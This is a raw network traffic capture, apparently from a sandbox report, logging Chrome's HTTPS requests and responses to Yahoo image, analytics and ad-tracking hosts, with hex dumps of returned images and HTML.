2024-01-10 23:27:15 UTC	1300	IN	Data Raw: ba 52 79 3d 1c 84 7a 3d 7f d5 71 3d f3 fd 72 3d 64 75 65 3d ff 8e 66 3d 9d 9b 5a 3d 39 a8 5b 3d 1c 1d 51 3d 7f 1e 52 3d c2 5c 47 3d 7a 52 48 3d e5 3e 40 3d 21 2c 41 3d 63 4e 3c 3d ef 36 3d 3d de 7a 38 3d e8 5e 39 3d bf e9 30 3d dd c4 31 3d 98 1b 21 3d cb e3 21 3d 2e 15 09 3d a7 c0 09 3d 2c c1 d7 3c 4a d2 d8 3c 80 1d 8f 3c d3 d7 8f 3c 31 c9 db 3b 0c 0d dd 3b f6 9d 91 bb ce 0f 92 bb 46 73 75 bc ac 7a 76 bc 32 7b c9 bc 1e 5d ca bc d7 de 04 bd 40 76 05 bd 2e 65 1c bd 9c 18 1d bd 17 a5 2c bd f7 6b 2d bd 99 cf 36 bd 7e a2 37 bd 49 23 3e bd 05 ff 3e bd 8f a9 44 bd fc 8c 45 bd c1 e0 49 bd 5d ca 4a bd fa ad 51 bd de a0 52 bd bb 85 5f bd 27 89 60 bd 3a 82 6e bd 97 97 6f bd a0 e2 79 bd 82 05 7b bd ba cb 80 bd c4 61 81 bd 27 05 82 bd 9b 9c 82 bd a5 b6 7e bd 30 df 7f Data Ascii: Ry=z=q=r=due=f=Z=9[=Q=R=\G=zRH=>@=!,A=cN<=6==z8=^9=0=1=!=!=.==,<J<<<1;;Fsuzv2{]@v.e,k-6~7I#>>DEI]JQR_'`:noy{a'~0
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: d0 9a ca 3c 2a ec 69 3c 36 39 6b 3c 98 e0 8b 3b 89 f1 8c 3b c9 cf 9f bb a3 24 a0 bb 3f c9 59 bc c9 98 5a bc a7 d0 a6 bc b8 7d a7 bc ff 95 d2 bc 63 77 d3 bc 2d f9 f2 bc 75 01 f4 bc 64 a4 05 bd 06 37 06 bd 1f 96 10 bd ee 35 11 bd 27 cc 1c bd 74 7a 1d bd bc b6 2a bd be 75 2b bd 57 ad 3b bd ae 80 3c bd ca 76 4f bd ba 61 50 bd 20 df 61 bd 29 e0 62 bd 91 00 71 bd a2 13 72 bd 41 19 7d bd ba 3a 7e bd f8 3d 81 bd ee d1 81 bd 5a 52 7d bd 17 74 7e bd b6 01 6e bd fa 10 6f bd 7a b7 56 bd cf aa 57 bd dc 85 3a bd 6e 57 3b bd 47 af 1b bd e6 5b 1c bd 88 3a f5 bc 67 44 f6 bc 8b 29 b5 bc b1 e6 b5 bc f2 0f 80 bc 75 8d 80 bc 1f ab 28 bc 24 3d 29 bc 80 20 b6 bb 91 8a b6 bb 97 33 b6 ba 7d 4e b5 ba 4b ff 34 3b f1 b9 36 3b fd a4 fa 3b f1 41 fc 3b df fd 5b 3c d7 3d 5d 3c eb 28 a5 Data Ascii: <i<69k<;;$?YZ}cw-ud75'tzu+W;<vOaP a)bqrA}:~=ZR}t~nozVW:nW;G[:gD)u($=) 3}NK4;6;;A;[<=]<(
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 77 96 51 bd 48 7f 52 bd d9 7f 64 bd 34 7f 65 bd d0 26 72 bd 85 36 73 bd 06 67 77 bd 01 7d 78 bd d4 0b 73 bd 81 1c 74 bd 13 42 67 bd b2 44 68 bd d8 6b 55 bd 14 59 56 bd 56 61 3e bd e7 32 3f bd de 61 24 bd 53 14 25 bd c0 3c 0a bd d4 cf 0a bd 14 46 e6 bc e7 34 e7 bc 91 a0 c0 bc 7d 62 c1 bc ed 68 9e bc d7 01 9f bc ea bf 78 bc 6c a0 79 bc a1 9d 37 bc 00 30 38 bc c6 dc e3 bb ee 59 e4 bb 59 68 da ba 40 20 d9 ba 05 b0 9d 3b e5 ff 9e 3b cb f4 4a 3c 93 31 4c 3c b2 18 aa 3c 1d 09 ab 3c 13 16 f0 3c 48 5a f1 3c 02 6b 19 3d 27 35 1a 3d a5 74 36 3d 87 61 37 3d d1 68 4c 3d 0a 70 4d 3d 16 37 5b 3d fc 4f 5c 3d 1e fb 62 3d 63 1d 64 3d 4d 65 62 3d c5 86 63 3d 7d 52 5b 3d 90 6b 5c 3d b2 3d 52 3d e6 4b 53 3d 08 4e 49 3d 73 51 4a 3d f5 e8 40 3d 4d e2 41 3d 55 56 39 3d a9 46 3a Data Ascii: wQHRd4e&r6sgw}xstBgDhkUYVVa>2?a$S%<F4}bhxly708YYh@ ;;J<1L<<<<HZ<k='5=t6=a7=hL=pM=7[=O\=b=cd=Meb=c=}R[=k\==R=KS=NI=sQJ=@=MA=UV9=F:
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 4c 9c c1 bc 7b b2 a4 bc 2c 56 a5 bc 80 c8 80 bc 6a 41 81 bc 18 2d 21 bc 50 ab 21 bc 24 b7 35 bb 0f 87 35 bb 35 14 a6 3b d7 5f a7 3b f6 96 5c 3c 89 e1 5d 3c 23 fc b3 3c dd f4 b4 3c f0 e1 f5 3c ae 29 f7 3c 31 50 17 3d 01 16 18 3d 7e d3 2c 3d 07 b3 2d 3d dc 61 3b 3d b7 52 3c 3d bd aa 43 3d 95 a5 44 3d c7 26 46 3d 8b 24 47 3d 74 26 45 3d fa 22 46 3d ae 56 43 3d ff 50 44 3d 6e 2e 41 3d 2e 26 42 3d 20 2b 3f 3d 67 20 40 3d e4 a3 3e 3d 8d 98 3f 3d a4 55 3f 3d 01 4b 40 3d b9 42 3f 3d 17 38 40 3d 8d af 3b 3d 7f a0 3c 3d bb 55 32 3d 73 3b 33 3d c6 2c 23 3d 60 00 24 3d 81 97 0e 3d 72 52 0f 3d 4b 07 e7 3c 1f 3c e8 3c 88 36 a5 3c 84 1c a6 3c 15 bf 3c 3c ff e0 3d 3c c9 86 3f 3b dc 6b 41 3b 3b a7 a8 bb 2f f2 a8 bb 6e e1 47 bc 25 91 48 bc 54 c5 93 bc a4 56 94 bc 60 d4 b9 Data Ascii: L{,VjA-!P!$555;_;\<]<#<<<)<1P==~,=-=a;=R<=C=D=&F=$G=t&E="F=VC=PD=n.A=.&B= +?=g @=>=?=U?=K@=B?=8@=;=<=U2=s;3=,#=`$==rR=K<<<6<<<<=<?;kA;;/nG%HTV`
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 52 e7 2b 3d 5e be 2c 3d d6 a7 2f 3d 7b 83 30 3d b6 04 34 3d 92 e5 34 3d d7 47 39 3d f9 2e 3a 3d 99 80 3f 3d 11 6f 40 3d a9 05 45 3d c3 fa 45 3d fc ad 47 3d 2e a6 48 3d f1 1d 46 3d 47 14 47 3d ee 41 3f 3d 0c 30 40 3d ca 56 32 3d 5a 35 33 3d a9 ce 1e 3d e4 95 1f 3d d8 be 04 3d c8 66 05 3d 65 1d cd 3c f8 24 ce 3c c3 2d 8f 3c 17 eb 8f 3c 38 2b 25 3c ea 14 26 3c 6e 04 48 3b ae 83 49 3b a1 f4 50 bb 1b 60 51 bb 4b 9a 09 bc b1 1b 0a bc e5 b2 4f bc 71 88 50 bc 8f d4 85 bc 38 63 86 bc 11 93 a2 bc 32 44 a3 bc ee c9 c0 bc 20 9f c1 bc 7a bc e1 bc 45 b9 e2 bc b6 61 03 bd 4b f6 03 bd f7 64 17 bd 7f 11 18 bd 9c 07 2b bd be cb 2b bd 7f 16 3d bd 32 f0 3d bd bd 4b 4c bd bc 37 4d bd 61 08 56 bd 0b 00 57 bd 5d 53 58 bd c5 4d 59 bd 9a 26 53 bd e8 1a 54 bd 61 a3 47 bd cf 89 48 Data Ascii: R+=^,=/={0=4=4=G9=.:=?=o@=E=E=G=.H=F=GG=A?=0@=V2=Z53====f=e<$<-<<8+%<&<nH;I;P`QKOqP8c2D zEaKd++=2=KL7MaVW]SXMY&STaGH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
205	192.168.2.4	49964	34.200.65.202	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:15 UTC	1278	OUT	GET /ups/58739/cms?partner_id=BLKAI&orig=ono HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; IDSYNC=19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z
2024-01-10 23:27:15 UTC	557	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:15 GMT Content-Length: 0 Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC="19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Thu, 09-Jan-2025 23:27:15 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Location: https://tags.bluekai.com/site/19505?id=y-9o13H_VE2pJPQdQQPya.tufWx_6sVLIGdaY-~A Age: 0 Connection: close Server: ATS/9.1.10.94

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
206	192.168.2.4	49958	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:15 UTC	383	OUT	GET /pv/static/img/voiceSearch1x-1620383531565.min.png HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:15 UTC	787	IN	HTTP/1.1 200 OK x-amz-id-2: B6iL9ZcggHl10AufqO+X+4FFJUES4NZEyltGcnG/SW23QOsH7HBscc6vYd2H4Hwl9y2JweLsNPA= x-amz-request-id: 7QWMX37DF5Z86G08 Date: Wed, 10 Jan 2024 22:08:27 GMT Last-Modified: Fri, 07 May 2021 10:32:24 GMT ETag: "c2396079060a7028fa898a73b72aa592" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=315360000 Accept-Ranges: bytes Content-Type: image/png Server: ATS Content-Length: 2986 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 4729 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 29 00 00 01 4a 08 03 00 00 00 b7 a9 86 84 00 00 02 6a 50 4c 54 45 00 00 00 49 49 59 97 9e a9 9e aa aa ff ff ff 1e 23 29 45 82 f9 5c 65 6c 1f 22 29 ff ff ff 5c 64 6b 21 77 ed 10 6a ff ff ff ff 0f 6a ff 10 6a ff 27 2f 3b 00 3a bd ff ff ff 00 3b bc ff ff ff 0f 69 ff ff ff ff 10 69 ff ff ff ff 23 2b 31 24 2c 34 10 6a ff ff ff ff ff ff ff ff ff ff ff ff ff 0f 69 ff 24 2b 33 ff ff ff 00 3b be 00 3a bd 23 2a 32 0f 69 ff 00 3b bd 23 2b 32 00 3b be ff ff ff 10 6a ff ff ff ff 0f 6a ff 11 6a ff 16 6d ff 0f 69 ff ff ff ff ff ff ff 13 6c eb 00 3a bd 98 9f a9 23 2b 32 23 2b 31 5c 64 6a 1f 23 29 10 6a ff 0f 6b ff 0f 6b ff 23 28 2f 11 6c ff 26 2d 35 00 3b be 12 6e ff 18 6e ff ff ff ff 2a 2a 37 ff ff ff 10 6a ff 00 Data Ascii: PNGIHDR)JjPLTEIIY#)E\el")\dk!wjjj'/;:;ii#+1$,4ji$+3;:#2i;#+2;jjjmil:#+2#+1\dj#)jkk#(/l&-5;nn*7j
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 75 96 90 5f 6e 91 49 41 65 fa e8 16 be 29 38 07 35 95 b0 c8 c8 30 33 ae d5 fa 38 4a e3 d6 b7 42 e1 de a3 d4 c8 d1 bd 58 cf 85 d4 9b 42 e4 0c b6 d3 ca 6c 97 cb 70 21 c3 e5 72 8a 90 53 e4 b2 a1 90 0d ff cb 9f 97 83 9c 83 aa 4b 71 40 24 92 1d 89 ac 26 c5 01 91 10 b6 23 a4 9a 14 07 44 c6 b3 1d f3 02 c9 79 ac 32 de 57 2e 60 3b ca 78 65 9a 90 d3 80 a5 8c 55 16 80 6f 9c 94 8e e3 e5 2c 21 67 01 cb 38 4a 9d e0 17 87 f7 7a 9c 23 e4 1c ef f5 ea f0 97 79 94 da fa 7f 6f 54 34 d9 df 46 69 9e bf ec c8 8e 8d e5 95 f8 e3 1e 38 c3 f8 bf b1 ac d6 b1 fa 6d 61 f3 4c 47 b1 c3 e9 74 14 7b 26 cf 16 e0 26 09 b1 53 1a 15 0f 7e 89 8f a2 d4 1e 52 55 1a 1d 4d de eb 77 eb 4f 36 4e a9 5a c2 66 b0 fd 99 db c3 2a b7 b7 67 f2 d3 0d 74 d7 27 14 1a 2b 93 d7 d1 18 61 9e b1 5a 85 09 10 28 d6 Data Ascii: u_nIAe)85038JBXBlp!rSKq@$&#Dy2W.`;xeUo,!g8Jz#yoT4Fi8maLGt{&&S~RUMwO6NZf*gt'+aZ(
2024-01-10 23:27:15 UTC	386	IN	Data Raw: ef 29 c6 67 c6 45 ca 64 b8 f8 c8 fd 96 be 96 8d da e6 10 1b 71 d9 12 19 49 07 89 8d c2 4c a9 5c 27 36 1c 0d 65 73 64 9b e6 73 26 b2 de 61 0d dd 25 5e 0f 48 67 74 9e 2d 2a 01 8c 8c 77 66 c6 4b 20 6f 69 59 19 2f cf 38 69 76 18 48 73 c7 4e 33 b3 0b 9d d4 e9 a0 63 10 3a 6f 4c 1c b5 1f 5d 7f d0 1a 8e 52 08 8b 5f c0 0b 41 91 fc 28 3d 09 26 e9 1a 7b 02 98 0c 02 fb e5 e6 f6 93 0b f1 cc 27 1e f6 f0 07 fd 5c 33 b2 39 97 cd 6b 43 2a fd 84 ec a7 c8 64 89 f6 f2 bb 7c a9 95 c8 5f 85 b4 fb 2e db c9 df 88 3c d3 1e 42 11 97 45 f0 50 7b 26 93 6a 8f 2c 45 5d a9 69 2b 55 25 ab 87 0a f2 ee ef 01 94 97 03 dc 43 5f c7 c4 68 31 ed 14 a5 1d 2b d0 79 da c6 1e c9 d9 df 36 05 d0 1c 28 ba 75 ab e8 00 d4 64 36 0e 37 b2 11 97 25 cd 8d 94 80 89 74 0d 0d ed 0a a6 e0 24 42 26 99 a2 a1 66 Data Ascii: )gEdqIL\'6esds&a%^Hgt-wfK oiY/8ivHsN3c:oL]R_A(=&{'\39kCd\|_.<BEP{&j,E]i+U%C_h1+y6(ud67%t$B&f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
207	192.168.2.4	49963	34.200.65.202	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:15 UTC	1290	OUT	GET /ups/58782/cms?partner_id=ADOBE&orig=ono&redir2=true HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; IDSYNC=19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z
2024-01-10 23:27:15 UTC	718	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:15 GMT Content-Length: 0 Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC="19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Thu, 09-Jan-2025 23:27:15 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Location: https://dpm.demdex.net/ibs:dpid=30646?dpuuid=y-kyh5EEpE2pGwKo.MGM2QUwjcaNgs4d8co7g-~A&redir=https%3A%2F%2Fups.analytics.yahoo.com%2Fups%2F58782%2Fcms%3Fpartner_id%3DADOBE%26_origin%3Dfalse%26_redirect%3Dfalse%26_hosted_id%3D%24%7BDD_UUID%7D Age: 0 Connection: close Server: ATS/9.1.10.94

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
208	192.168.2.4	49970	152.195.14.41	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:15 UTC	1793	OUT	GET /sp-frame.html?referrer=https%3A//opus.analytics.yahoo.com/tag/opus-frame.html%3Freferrer%3Dhttps%3A//www.yahoo.com/%26tbla_id%3D53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51%26gam_id%3Dy-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T%7EA%26axids%3Dgam%3Dy-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T%7EA%26dv360%3DeS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B%26ydsp%3Dy-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG%7EA%26gdpr%3Dfalse%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26us_privacy%3D1YNN%26reset_idsync%3D1 HTTP/1.1 Host: tag.idsync.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://opus.analytics.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
2024-01-10 23:27:15 UTC	467	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 244 Content-Type: text/html Date: Wed, 10 Jan 2024 23:27:15 GMT Etag: "7537772c88a12933f4274721ea96ba2c" Last-Modified: Tue, 26 Sep 2023 14:38:51 GMT Server: ECS (dce/26AB) Vary: Accept-Encoding x-amz-id-2: tIwEI587p/q+HGFLmW5pXMj7Tfj40atfvAKECJM6+HiFz3nB2w4U/di18n7XN8z70msyrHCLa0k= x-amz-request-id: ZYR28VN8DF41QKPD x-amz-server-side-encryption: AES256 X-Cache: HIT Content-Length: 9861 Connection: close
2024-01-10 23:27:15 UTC	9861	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 57 65 62 70 61 63 6b 20 41 70 70 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 3e 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 72 29 7b 69 66 28 74 5b 72 5d 29 72 65 74 75 72 6e 20 74 5b 72 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 6f 3d 74 5b 72 5d 3d 7b 69 3a 72 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 Data Ascii: <!DOCTYPE html><html><head><meta charset="utf-8"><title>Webpack App</title><meta name="viewport" content="width=device-width,initial-scale=1"></head><body><script>!function(e){var t={};function n(r){if(t[r])return t[r].exports;var o=t[r]={i:r,l:!1,exports

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
209	192.168.2.4	49961	23.55.243.208	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:15 UTC	500	OUT	GET /cksync.php?cs=1&type=58160&ovsid=LR8EUG12-1F-5JG4&gdpr=0 HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1
2024-01-10 23:27:15 UTC	659	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-mag=LR8EUG12-1F-5JG4~~1;Expires=Thu, 09 Jan 2025 23:27:15 GMT;path=/;domain=.hb.yahoo.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:15 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:15 GMT Connection: close
2024-01-10 23:27:15 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:15 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
210	192.168.2.4	49950	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:15 UTC	519	OUT	GET /uu/api/res/1.2/7k_5EgstRC3hBqjwh10Fsw--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/salon_articles_879/0835551b5ac06413bd0f5c694c81d5ce.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:15 UTC	1294	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 231212391546933600146155394615175331741,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="0835551b5ac06413bd0f5c694c81d5ce.webp" Edge-Cache-Tag: 231212391546933600146155394615175331741,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Etag: "3db503c67d9b8cd1ec84e5fdcc65eb90" Last-Modified: Wed, 10 Jan 2024 18:12:39 GMT Server: ATS Status: 200 OK Surrogate-Reporting: width=536,height=284,bytes=12954,owidth=1692,oheight=1128,obytes=206131,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Request-Id: b8f5f7eff0b447c39454651a51065888 Accept-Ranges: bytes Date: Wed, 10 Jan 2024 18:39:26 GMT X-Served-By: cache-iad-kjyo7100146-IAD X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 1 X-Timer: S1704911967.719063,VS0,VE1 Age: 17269 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_id: b8f5f7eff0b447c39454651a51065888 cld_by: cache-iad-kjyo7100146-IAD cld_latency: 1 Referrer-Policy: no-referrer-when-downgrade Vary: Accept Content-Length: 41093 ATS-Carp-Promotion: 1
